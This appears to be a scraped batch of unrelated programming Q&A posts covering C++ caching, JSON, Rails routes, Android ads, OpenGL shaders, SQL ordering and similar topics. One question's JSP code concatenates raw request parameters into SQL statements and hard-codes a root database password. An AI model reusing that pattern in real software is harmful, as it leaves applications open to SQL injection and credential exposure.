29012708	0	Why cache read miss is faster than write miss? <p>I need to calculate an array (writeArray) using another array (readArray) but the problem is the index mapping is not the same between arrays (Value at index x of writeArray must be calculated with value at index y of readArray) so it's not very cache friendly.</p> <p>However I can either choose if the loop browses readArray sequentially or writeArray sequentially.</p> <p>So here is a simplified code :</p> <pre><code>int *readArray = new int[ARRAY_SIZE]; // Array to read int *writeArray = new int[ARRAY_SIZE]; // Array to write int *refArray = new int[ARRAY_SIZE]; // Index mapping between read and write, could be also array of pointers instead indexes // Code not showed here : Initialization of readArray with values, writeArray with zeroes and refArray with random indexes for mapping between readArray and writeArray (values of indexes between 0 and ARRAY_SIZE - 1) // Version 1: Random read (browse writeArray/refArray sequentially) for (int n = 0; n &lt; ARRAY_SIZE; ++n) { writeArray[n] = readArray[refArray[n]]; } // Version 2: Random write (browse readArray/refArray sequentially) for (int n = 0; n &lt; ARRAY_SIZE; ++n) { writeArray[refArray[n]] = readArray[n]; } </code></pre> <p>I was thinking that cache read misses was more slower than write misses (because CPU needs to wait before reading complete if the next instruction depends of read data but for writing it doesn't need to wait for processing the next instruction) but with profiling it's seems that version 1 is faster than version 2 (version 2 is about 50% more slower than version 1).</p> <p>I tried also this :</p> <pre><code>// Version 3: Same as version 2 but without polluting cache for (int n = 0; n &lt; ARRAY_SIZE; ++n) { _mm_stream_si32(&amp;writeArray[refArray[n]], readArray[n]); } </code></pre> <p>Because I don't need to read values of writeArray so there is no reason to pollute the cache with written values but this version is more more slower than other versions (6700% more slower than version 1).</p> <p>Why write miss is slower than read miss ? Why bypassing cache for writing is more slower than using it even if we don't read these written data after ?</p>
17049558	0	How do I convert a Web API JSON response to a data table? <p>I have a web API where if I go to a valid link, it'll display an XML.</p> <p>However, in my other application, when I call:</p> <pre><code>using (var webclient = new WebClient()) { var doc = webclient.DownloadString(url); } </code></pre> <p>It's returning JSON data.</p> <p>How do I convert this JSON to a data table? OR, should I "de-serialize" this JSON so that it becomes an XML and then I can work with the XML in order to convert it to a data table?</p>
11402017	0	 <p>You could just use the type T directly for a simple getter and <a href="http://docs.oracle.com/javase/1.5.0/docs/api/java/lang/Class.html#cast%28java.lang.Object%29" rel="nofollow">Class.cast</a> -method for other types:</p> <pre><code>public class GenericDataTest { private static class DataTest&lt;T&gt; { private T value; public DataTest(T value) { this.value = value; } public T getValue() { return value; } public Object getValueAsType(Class&lt;?&gt; type) { return type.cast(value); } } @Test public void testGeneric() { DataTest&lt;String&gt; stringTest = new DataTest&lt;String&gt;("Test"); Assert.assertEquals("Test", stringTest.getValue()); Assert.assertEquals("Test", stringTest.getValueAsType(String.class)); DataTest&lt;Double&gt; doubleTest = new DataTest&lt;Double&gt;(1.0); Assert.assertEquals(1.0, doubleTest.getValue()); Assert.assertEquals(1.0, doubleTest.getValueAsType(Double.class)); } @Test(expected = ClassCastException.class) public void testClassCastFailure() { DataTest&lt;String&gt; stringTest = new DataTest&lt;String&gt;("Test"); Assert.assertEquals("Test", stringTest.getValueAsType(Float.class)); } } </code></pre>
11699376	0	Need to use asp.net mvc3 <p>I want to use ASP.net mvc3.I have VS 2010 installed and my OS is Windows XP SP3. Someone please suggest me what all things i need to install. so to run my application on VS 2010 and do i need to install Visual web developer 2010 express. Is it more useful than VS 2010. Please clarify.</p>
23044966	0	Program doesn't execute correctly <p>Sorry for all the long code...BUT...In order for me to work with my program and solve some issues, I need it to actually work. I'm working with a .html and .jsp files to insert data to MYSQL database. Can anybody tell me why I get this: This page cannot be display, make sure address http: //localhost:8081 is correct... ??? Please help, thanks!</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="ISO-8859-1"&gt; &lt;title&gt;Help Desk Ticket System&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;script language ="JAVASCRIPT"&gt; function check(form) { if(form.equipment.value =="") { alert("Please enter equipment type") form.equipment.focus() return false } if(form.problem.value =="") { alert("Please enter a description before hitting submit") form.problem.focus() return false } if(form.empid.value =="") { alert("Please enter employee ID.") form.empid.focus() return false } if(form.empfname.value =="") { alert("Please enter a first name.") form.empfname.focus() return false } if(form.emplname.value =="") { alert("Please enter a last name.") form.emplname.focus() return false } if(form.empemail.value =="") { alert("Please enter your email") form.empemail.focus() return false } if(form.empphone.value =="") { alert("Please enter a your phone number.") form.empphone.focus() return false } if(form.empcellphone.value =="") { value = "n/a" } selected = form.empdept.selectedIndex if (selected&lt;=0) { alert("Please choose the department") form.empdept.focus() return false } selected = form.technician.selectedIndex if (selected&lt;=0) { alert("Please choose a technician") form.technician.focus() return false } alert("Your ticket has been created.") return true } &lt;/script&gt; &lt;FORM method="post" action="http://localhost:8081/finalproject/help.jsp" onsubmit="return check(this)"&gt; &lt;h2&gt; Please fill out the following details for your ticket &lt;/h2&gt; &lt;br/&gt; Equipment: &lt;input type="text" name="equipment" /&gt;&lt;br/&gt; &lt;br/&gt; Description of the problem: &lt;br/&gt; &lt;textarea name="problem" rows="4" cols="50"&gt;&lt;/textarea&gt;&lt;br/&gt; &lt;br/&gt; &lt;hr&gt; &lt;br/&gt; Employee ID: &lt;input type = "text" name="empid" /&gt;&lt;br/&gt; Employee First name: &lt;input type = "text" name="empfname" /&gt;&lt;br/&gt; Employee Last name: &lt;input type = "text" name="emplname" /&gt;&lt;br/&gt; Employee email: &lt;input type = "text" name="empemail" /&gt;&lt;br/&gt; employee Phone: &lt;input type = "text" name="empphone" /&gt;&lt;br/&gt; employee cell Phone: &lt;input type = "text" name="empcellphone" /&gt;&lt;br/&gt; &lt;br/&gt; Employee Department: &lt;br/&gt; &lt;select name = "empdept"&gt; &lt;option&gt; Please select the department&lt;/option&gt; &lt;option&gt;Marketing&lt;/option&gt; &lt;option&gt;Human Resources&lt;/option&gt; &lt;option&gt;Operations&lt;/option&gt; &lt;option&gt;Legal&lt;/option&gt; &lt;option&gt;Accounting&lt;/option&gt; &lt;option&gt;Production&lt;/option&gt; &lt;/select&gt; &lt;hr&gt; &lt;br/&gt; Choose Technician: &lt;select name ="technician"&gt; &lt;option value="0"&gt;Select&lt;/option&gt; &lt;option value="12345"&gt;Sierra: Applications &lt;/option&gt; &lt;option value="12344"&gt;Michael: Network&lt;/option&gt; &lt;option value="12343"&gt;Greg: Phones&lt;/option&gt; &lt;option value="12342"&gt;Aaron: Hardware&lt;/option&gt; &lt;option value="12341"&gt;Phil: Database &lt;/option&gt; &lt;/select&gt;&lt;br/&gt; &lt;br/&gt; &lt;br/&gt; &lt;button type="submit"&gt;Submit&lt;/button&gt; &lt;button type="reset" value="Clear Form"&gt;Reset&lt;/button&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; &lt;%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt; &lt;title&gt;Insert title here&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;%@ page import="java.sql.*" %&gt; &lt;%@ page import="java.util.Random" %&gt; &lt;% Connection conn = null; Statement st = null; ResultSet rs = null; //Random rand = new Random(); //int randomnumber = rand.nextInt(90000) + 10000; try { Class.forName("com.mysql.jdbc.Driver").newInstance(); conn = DriverManager.getConnection("jdbc:mysql://localhost/helpdesk?user=root&amp;password=password"); st = conn.createStatement(); //String ticket = request.getParameter("ticketid"); String a = request.getParameter("equipment"); String b = request.getParameter("problem"); String c = request.getParameter("empid"); String d = request.getParameter("empfnname"); String e = request.getParameter("emplname"); String f = request.getParameter("empemail"); String g = request.getParameter("empphone"); String h = request.getParameter("empcellphone"); String i = request.getParameter("department"); String j = request.getParameter("technician"); String jointables = ("Select tech_id from technician inner join ticket on technician.tech_id = ticket.tech_id;"); String insert1 = ("insert into ticket (t_date,t_equpipment, t_descript,emp_id,tech_id)" + " values( NOW(),'"+a+"', '"+b+"', '"+c+"', '"+j+"')"); String insert2 = ("insert into employee (emp_id, emp_fname,emp_lname,emp_email, emp_phone,emp_cellphone,emp_dept)" + "values ('"+ c +"','" + d + "','" + e + "','" + f + "','" + g + "','"+ h +"','" + i + "')"); String intodatabase = insert1 + insert2; out.println("&lt;b&gt;Executed the following SQL statement:&lt;/b&gt;&lt;br&gt;"); out.println(intodatabase); //print out the actual sql statement that was generated //Execute the "insert into" sql statement st.executeUpdate(intodatabase); out.println ("&lt;br&gt;&lt;br&gt;&lt;b&gt;Successfully Added the tuple..&lt;/b&gt;"); } catch (java.sql.SQLException ex) { out.println("&lt;br&gt;&lt;b&gt;Ouch, an SQLException was thrown..&lt;/b&gt;"); ex.printStackTrace(); } finally { if (rs != null) rs.close(); if (st != null) st.close(); if (conn != null) conn.close(); } %&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
5003402	0	 <p>As far as I see from their page, EDG do not provide a full compiler, but <a href="http://www.edg.com/index.php?location=faq_q1_whatsell" rel="nofollow">only a front-end</a>; it does not include neither an optimizer/code generator neither a standard library. You simply cannot use just EDG to produce an executable.</p> <p>You can find several free implementations of the C++ standard library (e.g. <a href="http://gcc.gnu.org/libstdc++/" rel="nofollow">libstdc++</a> from GNU, to which I suppose you should add <a href="http://www.gnu.org/s/libc/" rel="nofollow">glibc</a> for the C library subset), but without at least a code-generator backend all you can get from the front-end is the AST of the code gave in input.</p> <p>Moreover, EDG C++ it's not free, neither it is sold to individuals; EDG license only the source code and <a href="http://www.edg.com/index.php?location=faq_q2_cost" rel="nofollow">only to corporations</a> for a 40K$-250K$ price range. The links you're asking in your question would be illegal.</p> <p>If you just need a compiler for Windows, there are several great alternatives, both free and not-free, some are listed e.g. in <a href="http://stackoverflow.com/questions/1154517/c-compiler-for-windows">this question</a>.</p>
4291769	0	How do I notify a MATLAB object of an event in a Java object? <p>For simplicity, say I have a Java object which generates a random number at randomly spaced time intervals. I wish to have a MATLAB object notified every time one of these random numbers is generated (so that the MATLAB object can then perform some task on the data).</p> <p>How can I implement something like this? How can I have the Java object notify a MATLAB object that something has happened?</p> <p>P.S. I am a strong programmer in MATLAB but fairly new to Java.</p>
5738394	0	 <p>As far as I understand, this attribute will give you some control over what names the elements will have in the final xml string, after the DataContractSerializer has done its work serializing your collection.</p> <p>This can be useful when you have to parse the result later manualy( in other words you will know what element to look for in that xml text, to find your collection and its parts).</p> <p>Take a look at this for examples and more info:</p> <p><a href="http://msdn.microsoft.com/en-us/library/aa347850.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/aa347850.aspx</a></p>
37622539	0	 <p>This seems to be a problem on Ubuntu (perhaps other Debian-based distros) with the Java CACerts keystore. For some reason this does not always include the full list of entries.</p> <p>To solve this, try the following:</p> <ul> <li><p>Delete the cacerts file</p> <p><code>sudo rm /etc/ssl/certs/java/cacerts</code></p></li> <li><p>Re-build the cacerts file using the dpkg postinstall script:</p> <p><code>sudo /var/lib/dpkg/info/ca-certificates-java.postinst configure</code></p></li> </ul> <p>This should re-generate the cacerts file and the problem should be resolved.</p>
38874661	0	How to append Json.obj into Json.arr Scala? <p>I am newbie to <strong>Scala</strong>.</p> <p>I want to append <strong>Json.obj</strong> into <strong>Json.arr</strong> during runtime in Scala. </p> <p><strong>Json Object:</strong> </p> <pre><code>var x: JsValue = Json.obj("name" -&gt; "Fiver", "age" -&gt; 4,"role" -&gt; JsNull) </code></pre> <p><strong>Json Array:</strong></p> <pre><code>var y: JsValue = Json.arr(x) </code></pre> <p>Here, I am able to append single Json.obj to Json.arr but I want to add multiple Json.obj to Json.arr dynamically.</p> <p>I can do like this:</p> <pre><code>var y: JsValue = Json.arr( Json.obj("name" -&gt; "Fiver", "age" -&gt; 4,"role" -&gt; JsNull), Json.obj("name" -&gt; "Fiver", "age" -&gt; 4,"role" -&gt; JsNull) ) </code></pre> <p>but it is <strong>not</strong> appending in one by one. I want to append <strong>Json.Obj</strong> dynamically.</p>
12426435	0	 <ol> <li><p>The <code>POST</code> test is used as a differentiator.</p> <p>When the view is called with <code>GET</code>, the form is rendered. The form specifies that it needs to be submitted with using <code>POST</code>, so the code assumes that a <code>POST</code> request signals the form is submitted.</p></li> <li><p>The <code>objects</code> attribute triggers the actual database query. By adding the <code>.filter()</code> call you specify a more specific database query, one where the <code>name</code> attribute contains the value of <code>f.cleaned_data['text']</code>. The result is a set of database results that match that query.</p></li> <li><p>the <code>specialPages</code> dictionary values are themselves views, and for these to work, you call them with the <code>request</code> parameter. Just like the <code>view_page</code> view callable itself.</p></li> </ol>
14674078	0	 <ol> <li><p>It is logging the number 5 because there is 5 keys in each of your dictionaries (<code>console</code>, <code>game</code>, <code>id</code>, <code>model</code>, <code>publisher</code>). If instead of logging the <code>[consoleDictionary count]</code> you simply add one to an <code>int</code> counter each time, you would get the expected result in your counter at the end.</p></li> <li><p>You can obtain the number of objects is a much more easier way: <code>[self arrayFromJSON]</code> is an array</p></li> </ol> <p>Typically:</p> <pre><code>NSInteger nbPS3 = [[self arrayFromJSON] indexesOfObjectsPassingTest:^(id obj, NSUInteger idx, BOOL *stop) { return [obj[@"model"] isEqualToString:@"PlayStation 3"]; }].count </code></pre>
8504787	0	 <p>It depends what plugins you have bound to the phases up to and including compile. M2E should cope with the default plugins (maven-compiler-plugin, maven-resources-plugin) etc. Do you have some code-generation (JAXB etc.) plugins included?</p> <p><strong>EDIT</strong></p> <p>I've had no end of problems with m2e and code generation; eventually I reverted to m2eclipse which is still quite buggy.</p> <p>I recommend you move your cxf wsdl generation to a different module of the same project and then add it as a dependency. Keep that project <em>closed</em> in Eclipse (once you've <code>mvn install</code>'d it) unless you're editing it.</p> <p>Hopefully that kind of workaround will become unnecessary as m2e improves.</p>
2154815	0	 <p>One option would be to set the page the users sees upon login and add a custom module to that page. That would get you out of writing an authentication provider.</p>
16235779	0	Admob Banner Ad not displaying in Android <p>Hi I have a Android game app developed using android cocos2d i need to integrate admob i have included the following code but banner ad is not displaying please help regarding this your answers will be appreciated and it would be a great help. thank you.</p> <pre><code>public class MainActivity extends Activity { private CCGLSurfaceView mGLSurfaceView; private boolean isCreated = false; public static FrameLayout m_rootLayout; AdView adView; // This is used to display Toast messages and is not necessary for your app @Override protected void onCreate(Bundle savedInstanceState) { if (!isCreated) { isCreated = true; } else { return; } super.onCreate(savedInstanceState); setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT); requestWindowFeature(Window.FEATURE_NO_TITLE); getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); setContentView(R.layout.activity_main); try{ LinearLayout.LayoutParams adParams = new LinearLayout.LayoutParams( getWindowManager().getDefaultDisplay().getWidth(), getWindowManager().getDefaultDisplay().getHeight()+getWindowManager().getDefaultDisplay().getHeight()-50); adView = new AdView(this, AdSize.BANNER, "admob id"); AdRequest request = new AdRequest(); adView.loadAd(request); // Adding full screen container addContentView(adView, adParams); }catch (Exception e) { FlurryAgent.logEvent("ADMOB ERROR: "+e); } mGLSurfaceView = new CCGLSurfaceView(this); setContentView(mGLSurfaceView); CCDirector.sharedDirector().attachInView(mGLSurfaceView); getScaledCoordinate(); Global.assetManager = getAssets(); Global.context = this; Global.loadUserInfo(); CCScene scene = CCScene.node(); scene.addChild(new SplashScene(), -1); CCDirector.sharedDirector().runWithScene(scene); //-------------IAP----------------------- Log.d(TAG1, "Creating IAB helper."); mHelper = new IabHelper(this, base64EncodedPublicKey); mHelper.enableDebugLogging(true); Log.d(TAG1, "Starting setup."); mHelper.startSetup(new IabHelper.OnIabSetupFinishedListener() { public void onIabSetupFinished(IabResult result) { Log.d(TAG, "Setup finished."); if (!result.isSuccess()) { // Oh noes, there was a problem. complain("Problem setting up in-app billing: " + result); return; } // Hooray, IAB is fully set up. Now, let's get an inventory of stuff we own. Log.d(TAG, "Setup successful. Querying inventory."); mHelper.queryInventoryAsync(mGotInventoryListener); } }); Global.myActivity=this; } </code></pre> <p>manifest </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.game.puzzlegame" android:versionCode="1" android:versionName="1.0" &gt; &lt;uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /&gt; &lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /&gt; &lt;uses-permission android:name="com.android.vending.BILLING" /&gt; &lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /&gt; &lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" &gt; &lt;activity android:name="com.game.puzzlegame.MainActivity" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name="com.revmob.ads.fullscreen.FullscreenActivity" android:configChanges="keyboardHidden|orientation" &gt; &lt;/activity&gt; &lt;activity android:name="com.google.ads.AdActivity" android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize"&gt;&lt;/activity&gt; &lt;/application&gt; </code></pre> <p></p>
26327717	0	Rails 4 Devise, Pundit, Join Table ActionView::Template::Error (undefined method `task_definition_path' for #<#<Class:0x37682f95>:0x6919b2b2>): <p>Here is my use case:</p> <ol> <li>I have one user model with Devise for AuthN and I am using Pundit for AuthZ. </li> <li>I restrict access to the main application through a subdomain constraint. </li> <li>I have some pages that are for end users (will be a different LandF at some point) and I have administrative pages etc. Common story you know the drill. </li> <li>I am using a has_and_belongs_to_many utilizing a join table with :id's</li> <li>I have my controllers, view directories and migrations named as plurals, my models as singular. Example: TaskDefinition => Model, TaskDefinitions => Controller and Tables. </li> <li>The default routes are generated and i have provided the content. </li> <li>I am using partials in the view directories and this is very new issue since a port from Ruby to JRuby.</li> </ol> <p>Stack Trace:</p> <pre><code>ActionView::Template::Error (undefined method `task_definition_path' for #&lt;#&lt;Class:0x37682f95&gt;:0x6919b2b2&gt;): 10: &lt;div class="col-md-10"&gt; 11: &lt;div class="panel-body"&gt; 12: &lt;div class="form"&gt; 13: &lt;%= bootstrap_form_for @task do |f| %&gt; 14: &lt;div class="form-group"&gt; 15: &lt;%= render '/admin/task_definitions/errors' %&gt; 16: &lt;/div&gt; app/views/admin/task_definitions/edit.html.erb:13:in`_app_views_admin_task_definitions_edit_html_erb__1276994696_33458' </code></pre> <p>Migrations:</p> <pre><code>class CreateTaskDefinitions &lt; ActiveRecord::Migration def change create_table :task_definitions do |t| # foreign key t.integer :organization_id # attributes .... t.timestamps end # index add_index :task_definitions, :name, unique: true end end class CreateOrganizations &lt; ActiveRecord::Migration def change create_table :organizations do |t| # for the relationship between parent orgs and child nodes t.references :parent # Used to determine Parent or Child t.string :org_type # Subdomain used for scoping site t.string :subdomain # Common fields .... t.timestamps end # index add_index :organizations, [:name, :subdomain], unique: true end end class CreateOrganizationsTaskDefinitions &lt; ActiveRecord::Migration def change create_table :organizations_task_definitions, id: false do |t| t.integer :organization_id t.integer :task_definition_id end add_index :organizations_task_definitions, [:organization_id, :task_definition_id], name: 'index_organizations_task_definitions' end end </code></pre> <p>models:</p> <pre><code>class Organization &lt; ActiveRecord::Base #associations has_many :users, class_name: 'User', inverse_of: :organization has_and_belongs_to_many :task_definitions, class_name: 'TaskDefinition', inverse_of: :organizations has_one :address, class_name: 'Address' has_many :children, class_name: 'Organization', foreign_key: 'parent_id' belongs_to :parent, class_name: 'Organization' accepts_nested_attributes_for :address end class TaskDefinition &lt; ActiveRecord::Base #associations has_many :steps, class_name: 'TaskStep', inverse_of: :task_definition has_and_belongs_to_many :organizations, class_name: 'Organization', inverse_of: :task_definitions has_and_belongs_to_many :task_events, class_name: 'TaskEvent', inverse_of: :task_definitions accepts_nested_attributes_for :steps end </code></pre> <p>Controller:</p> <pre><code>class Admin::TaskDefinitionsController &lt; ApplicationController before_filter :authenticate_user! after_action :verify_authorized ..... def edit @tasks = current_organization.task_definitions if(@tasks.size &gt; 0 ) @task = @tasks.find(params[:id]) authorize @task # add breadcrumb add_breadcrumb @task.name, admin_task_definition_path(@task) unless current_user.org_super_admin? or current_user.finch_admin? unless @user == current_user redirect_to :back, :alert =&gt; "Access denied." end end end end end </code></pre> <p>Routes: </p> <pre><code>Rails.application.routes.draw do ...... constraints(Finch::Constraints::SubdomainRequired) do # # dashboards # resource :dash_boards, only: [:index, :show, :edit, :update, :destroy] # # orgss # resource :organizations, only: [:index, :show, :edit, :update, :destroy] # # Only Admins are allowed to access # namespace :admin do # # Workflow Data # resources :task_definitions, only: [:index, :show, :edit, :update, :destroy] resources :task_steps, only: [:show, :edit, :update, :destroy] resource :task_actions, only: [:show, :edit, :update, :destroy] resource :task_action_attributes, only: [:show, :edit, :update, :destroy] resource :task_transitions, only: [:show, :edit, :update, :destroy] end end end </code></pre> <p>view: </p> <pre><code> &lt;div class="form"&gt; &lt;%= bootstrap_form_for @task do |f| %&gt; &lt;div class="form-group"&gt; &lt;%= render '/admin/task_definitions/errors' %&gt; &lt;/div&gt; </code></pre> <p>rake routes:</p> <pre><code> edit_organizations GET /organizations/edit(.:format) organizations#edit organizations GET /organizations(.:format) organizations#show PATCH /organizations(.:format) organizations#update PUT /organizations(.:format) organizations#update DELETE /organizations(.:format) organizations#destroy admin_task_definitions GET /admin/task_definitions(.:format) admin/task_definitions#index edit_admin_task_definition GET /admin/task_definitions/:id/edit(.:format) admin/task_definitions#edit admin_task_definition GET /admin/task_definitions/:id(.:format) admin/task_definitions#show </code></pre>
12828306	0	 <p>You should use percent encoding to escape characters in your query string, see <a href="http://tools.ietf.org/html/rfc3986" rel="nofollow">RFC 3986</a>. This <a href="http://stackoverflow.com/questions/5366007/why-does-the-encodings-of-a-url-and-the-query-string-part-differ">previous StackOverflow post</a> contains some useful background information about URI encoding.</p> <blockquote> <p>Initially my main concern was fields that contained parentheses. I will be converting this query into a SQL server query and I need a way to ensure that I do not confuse a parentheses in a field value with one that is intended for grouping</p> </blockquote> <p>If this might be a problem then it sounds like your application will be susceptible to SQL injection. You should be escaping any external data before constructing an SQL query.</p> <blockquote> <p>/api/companies?q=(CompanyName eq Microsoft Or CompanyName eq Apple) And State eq California</p> </blockquote> <p>Based on this example you could take advantage of the URI query string to better represent your query:</p> <pre><code>/api/companies?CompanyName=Microsoft%20OR%20Apple&amp;State=California </code></pre>
22646658	0	Why select_tag displays only one column? <p>I have the following <strong>select_tag</strong> in my view:</p> <pre><code> &lt;%= select_tag :users, options_from_collection_for_select(@users, 'id','firstname' , 'lastname') %&gt;&lt;/p&gt;&lt;/br&gt; </code></pre> <p>I want to display the firstname and lastname in the select_tag, but it always displays the first parameter after the <strong>'id'</strong> in this case the firstname. </p> <p>What I'm doing wrong?</p>
5759704	0	 <p>You use the <a href="http://api.jquery.com/jQuery.ajax/" rel="nofollow"><code>data</code></a> parameter in the options hash:</p> <blockquote> <p>Data to be sent to the server. It is converted to a query string, if not already a string. It's appended to the url for GET-requests. See processData option to prevent this automatic processing. Object must be Key/Value pairs. If value is an Array, jQuery serializes multiple values with same key based on the value of the traditional setting (described below).</p> </blockquote> <p>For example:</p> <pre><code>$.ajax({ url: '/pancakes/house', data: { 'where': [ 'is' ] }, // ... }); </code></pre>
20803245	0	How to write and read (including spaces) from text file <p>I'm using <code>fscanf</code> and <code>fprintf</code>.</p> <p>I tried to delimit the strings on each line by <code>\t</code> and to read it like so:</p> <pre><code>fscanf(fp,"%d\t%s\t%s",&amp;t-&gt;num,&amp;t-&gt;string1,&amp;t-&gt;string2); </code></pre> <p>The file contents:</p> <pre><code>1[TAB]string1[TAB]some string[NEWLINE] </code></pre> <p>It does not read properly. If I <code>printf("%d %s %s",t-&gt;num,t-&gt;string1,t-&gt;string2)</code> I get:</p> <pre><code>1 string1 some </code></pre> <p>Also I get this compile warning:</p> <pre><code>warning: format specifies type 'char *' but the argument has type 'char (*)[15]' [-Wformat] </code></pre> <p>How can I fix this without using binary r/w?</p>
7408363	0	Difficult SQL-Query <p>i have 2 tables i.e. table 1 calls game and table 2 calls game_medias</p> <p>structure table 1 (game)</p> <pre><code>-id -genre_id -title -created </code></pre> <p>etc.</p> <p>structure table 2 (game_medias)</p> <pre><code>-id -game_id -thumb </code></pre> <p>etc</p> <p>example query:</p> <pre><code>select g.id,g.genre_id,g.title, gm.* from games g inner join game_medias as gm group by rand(g.id) limit 8; </code></pre> <p>is it possible to make a query with a extra like " where g.id = '2' " - get the genre_id from it and get into the random 8 only "items" with this genre_id ? i'm not sure if the join is the right solution - maybe someone knows a better way?</p> <p>regards</p>
26239339	0	Strict f77 compiler <p>I am new to fortran programming + compiling. I am trying to compile an old f77 code. I compiled it using gfortran and ran the executable but I got the following error message:</p> <pre><code>Program received signal SIGBUS: Access to an undefined portion of a memory object. Backtrace for this error: #0 0x103e40e62 #1 0x103e4162e #2 0x7fff8ace0cf9 #3 0x103a50e85 #4 0x103a54374 #5 0x103a4e095 #6 0x103a4b935 #7 0x103a4c19d Bus error: 10 </code></pre> <p>I spoke to the creator of the code and he mentioned that he used a f77 compiler. Does anyone know where I can get a f77 compiler? I am using Mac OS 10.7.5 (Lion). Or is this an error anyone recognizes? I am new to fortran compiling, so I may need detailed help. Thanks!</p>
34704562	0	 <p>Not to be marked as correct, just expanding on the above answer. Since all phantomjs wrappers (like <a href="https://github.com/peerigon/phridge" rel="nofollow">phridge</a> and <a href="https://github.com/sgentle/phantomjs-node" rel="nofollow">phantomjs-node</a>) basically spawn a new phantomjs process, the result should be the same when run from a nodejs context.</p> <p><strong>phatomjs-webfonts.html:</strong></p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="UTF-8"&gt; &lt;title&gt;PhantomJS WebFontsTest&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/webfont/1.5.18/webfont.js"&gt;&lt;/script&gt; &lt;script&gt; WebFont.load({ google: { families: ['Droid Sans', 'Droid Serif'] }, loading: function(){ console.log('WebFonts loading'); }, active: function(){ console.log('WebFonts active'); }, inactive: function(){ console.log('WebFonts inactive'); } }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>phantomjs-webfonts.js:</strong></p> <pre><code>var page = require('webpage').create(); page.settings.userAgent = 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'; page.onConsoleMessage = function(msg, lineNum, sourceId) { console.log('Console: ' + msg); }; page.open('http://&lt;server-address&gt;/phantomjs-webfonts.html', function(status) { console.log("Loading status: " + status); }); </code></pre> <p><strong>Command:</strong></p> <pre><code>phantomjs phantomjs-webfonts.js </code></pre> <p><strong>Output</strong>:</p> <pre class="lang-none prettyprint-override"><code>Console: WebFonts loading Console: WebFonts active Loading status: success </code></pre>
33907030	0	 <p>From the information given - assuming "Schedule.java" is just a POJO and not an activity - one way is to create a "Schedule" object in your ActivityMain class, so you can pull "Music" from the schedule array and update your text view. Make sure the schedule array has more private accessibility, or you can write getters in Schedule.java to return the relevant strings.</p>
7058223	0	opengl - point sprites rendering problem <p>I'm trying to render point sprites but I get points. Where is the problem ? (changing a color via glUniform3f works)</p> <p>Vertex shader:</p> <pre><code>private static String vertexShader = "#version 330" + "\n" + "layout (location = 0) in vec4 position;" + "\n" + "uniform mat4 pMatrix;" + "\n" + "uniform mat4 mMatrix;" + "\n" + "void main()" + "\n" + "{" + "\n" + "gl_Position = pMatrix * mMatrix * position;" + "\n" + "}"; </code></pre> <p>Fragment shader:</p> <pre><code>private static String fragmentShader = "#version 330" + "\n" + "out vec4 vFragColor;" + "\n" + "uniform vec3 Color;" + "\n" + "uniform vec3 lightDir;" + "\n" + "void main()" + "\n" + "{" + "\n" + "vec3 N;" + "\n" + "N.xy = gl_PointCoord* 2.0 - vec2(1.0);" + "\n" + "float mag = dot(N.xy, N.xy);" + "\n" + "if (mag &gt; 1.0) discard;" + "\n" + "N.z = sqrt(1.0-mag);" + "\n" + "float diffuse = max(0.0, dot(lightDir, N));" + "\n" + "vFragColor = vec4(Color,1) * diffuse;" + "\n" + "}"; </code></pre> <p>Rendering:</p> <pre><code>gl.glUseProgram(shaderProgramID); gl.glUniformMatrix4fv(projectionMatrixUniform, 1, false, projectionMatrix, 0); gl.glUniformMatrix4fv(modelViewMatrixUniform, 1, false, modelViewMatrix, 0); gl.glUniform3f(colorUniform, 1.0f, 0.0f, 0.0f); gl.glUniform3f(lightDirUniform, 0.0f, 0.0f, 1.0f); gl.glBindBuffer(GL3.GL_ARRAY_BUFFER, vbo[0]); gl.glEnableVertexAttribArray(0); gl.glVertexAttribPointer(0, 4, GL3.GL_FLOAT, false, 0, 0); gl.glDrawArrays(GL3.GL_POINTS, 0, n_particles); gl.glDisableVertexAttribArray(0); gl.glUseProgram(0); </code></pre>
18574204	0	 <p>Use a <code>case</code>. Generally you can do</p> <pre><code>SELECT records.some_id FROM forms LEFT OUTER JOIN records ON forms.form_id = records.form_id ORDER BY case when records.some_id is not null then 1 else 2 end, records.some_id </code></pre> <p>and specifically in MySQL you can also do</p> <pre><code>SELECT records.some_id FROM forms LEFT OUTER JOIN records ON forms.form_id = records.form_id ORDER BY records.some_id is not null, records.some_id </code></pre>
